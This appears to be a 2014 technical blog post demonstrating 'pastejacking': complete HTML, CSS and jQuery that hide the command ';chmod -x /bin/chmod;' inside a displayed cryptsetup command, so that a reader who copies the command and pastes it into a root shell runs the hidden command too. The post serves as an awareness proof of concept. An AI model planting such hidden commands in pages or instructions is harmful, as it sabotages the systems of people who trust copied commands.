---
layout: post
title: "Dangerous CSS: how to unnoticeably destroy *nix system"
date: 2014-01-25 23:16
comments: true
categories: [css]
cover: /images/cover/avatar.png
keywords: css, malicious, dangerous, trick, unix, linux, javascript, html,
description:
---
Let's do bad things. I've got an idea -- provide a nice looking
Linux command on a blog/wiki. Yep, that's almost all.
Imagine you're setting up dm-crypt encryption. You'll find a guide
with commands ready to copy & paste into your terminal.
Almost all commands have to be run as root, that's good for me.
Something like this:
{% codeblock lang:bash %}
cryptsetup -v --cipher aes-xts-plain64 --key-size 256 --hash sha512 --iter-time 5000 --use-urandom --verify-passphrase luksFormat <device>
{% endcodeblock %}
Oh, almighty CSS, now it's your turn. Go to [this page](http://cinan.sk/pub/dangerous-css.html)
and copy the command. I added some javascript stuff to make text selecting
easier -- **javascript isn't required**. Now paste the copied text
somewhere. As you can see, there's bonus command (```chmod -x /bin/chmod```). Nice, isn't it?
Code, obviously:
{% codeblock lang:html %}
<html>
<head>
<script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
<script src="http://code.jquery.com/jquery-migrate-1.2.1.js"></script>
<script>
// Makes selecting text easier
jQuery.fn.selText = function() {
var obj = this[0];
if (jQuery.browser.msie) {
var range = obj.offsetParent.createTextRange();
range.moveToElementText(obj);
range.select();
} else if (jQuery.browser.mozilla || jQuery.browser.opera) {
var selection = obj.ownerDocument.defaultView.getSelection();
var range = obj.ownerDocument.createRange();
range.selectNodeContents(obj);
selection.removeAllRanges();
selection.addRange(range);
} else if (jQuery.browser.webkit) {
var selection = obj.ownerDocument.defaultView.getSelection();
selection.setBaseAndExtent(obj, 0, obj, obj.innerText.length - 1);
}
return this;
}
$(document).ready(function() {
$('pre').click(function(e) {
e.preventDefault();
$(this).selText();
})
});
</script>
<style>
*::selection {
background: rgb(95, 196, 243);
}
/* INTERESTING PART */
span {
width: 1px; /* can't be 0px */
white-space: nowrap;
display: inline-block;
overflow: hidden; /* text hiding */
color: transparent; /* text hiding */
vertical-align: middle;
position: absolute;
}
pre {
display: inline-block;
white-space: nowrap;
overflow: hidden;
border: 1px solid #bcd;
background-color: #ebf1f5;
color: #222;
font-family: monospace;
line-height: 1.1em;
padding: 1em;
}
pre:first-of-type {
border-right: 0;
padding-right: 0;
}
pre:last-of-type {
border-left: 0;
padding-left: 2ex;
}
</style>
<body>
<pre>#</pre><pre>cryptsetup -v --cipher aes-xts-plain64 --key-size 256 --hash
sha512 --iter-time 500<span>;chmod -x /bin/chmod; </span>0 --use-urandom --verify-passphrase luksFormat <device>
</pre>
</body>
</html>
{% endcodeblock %}
What's happening here: I'm selecting ```pre``` content which also contains another
```span``` element.
Tested on Chromium, Firefox, Opera and Safari.